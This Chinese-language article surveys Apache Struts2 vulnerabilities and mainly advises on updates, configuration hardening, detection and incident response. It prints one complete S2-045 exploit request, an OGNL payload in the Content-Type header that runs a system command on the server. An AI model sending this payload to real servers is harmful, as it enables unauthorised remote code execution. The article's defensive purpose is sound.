插件窝 干货文章 Struts2框架站点风险的示例分析

Struts2框架站点风险的示例分析

漏洞 Struts2 示例 struts 421    来源:    2025-04-21

Struts2框架站点风险分析

常见Struts2安全漏洞概述

Struts2作为流行的Java Web框架,历史上曾多次曝出严重安全漏洞,以下是几个典型示例:

1. OGNL表达式注入漏洞

  • 漏洞编号:S2-001至S2-062等多个版本
  • 风险描述:攻击者可通过精心构造的OGNL表达式实现远程代码执行
  • 影响范围:多个Struts2版本,特别是未及时更新的旧版本

2. 文件上传漏洞

  • 示例漏洞:S2-045 (CVE-2017-5638)
  • 风险描述:Jakarta Multipart解析器存在缺陷,允许通过Content-Type头执行恶意代码
  • 攻击方式:构造恶意HTTP请求头实现服务器端代码执行

3. REST插件XSS漏洞

  • 示例漏洞:S2-013, S2-014
  • 风险描述:REST插件未正确处理用户输入导致跨站脚本攻击

风险利用示例分析

S2-045漏洞利用示例

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: vulnerable-site.com
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

此攻击利用Content-Type头中的OGNL表达式执行系统命令"whoami"。

防御措施建议

  1. 及时更新:始终保持Struts2框架为最新版本

    • 定期检查Apache Struts安全公告
    • 使用Maven/Gradle等工具管理依赖版本
  2. 输入验证

    // 示例:使用Struts2验证框架
    @Validations(
       requiredStrings={
           @RequiredStringValidator(fieldName="username", message="用户名不能为空")
       },
       expressions={
           @ExpressionValidator(expression="username.length() >= 6", message="用户名至少6位")
       }
    )
    
  3. 安全配置

    • 在struts.xml中禁用动态方法调用: xml <constant name="struts.enable.DynamicMethodInvocation" value="false"/>
    • 限制OGNL表达式功能: xml <constant name="struts.ognl.excludedClasses" value="java.lang.Process,java.lang.Runtime"/>
  4. Web应用防火墙(WAF):部署WAF拦截可疑请求

  5. 最小权限原则:运行Struts2应用的服务器账户应具有最小必要权限

检测方法

  1. 自动化扫描

    • 使用Nessus、OpenVAS等漏洞扫描工具
    • 专用Struts2漏洞检测工具如Struts2-Scan
  2. 手动检测

    • 检查HTTP响应中的Server头信息
    • 尝试访问/struts/webconsole.html等默认路径
    • 发送测试payload观察系统反应

应急响应

发现漏洞利用迹象后应立即: 1. 隔离受影响系统 2. 升级Struts2到安全版本 3. 检查系统日志寻找入侵痕迹 4. 必要时重置服务器凭证和密钥

Struts2的安全需要持续关注和主动防护,建议建立框架组件更新机制和安全监控体系。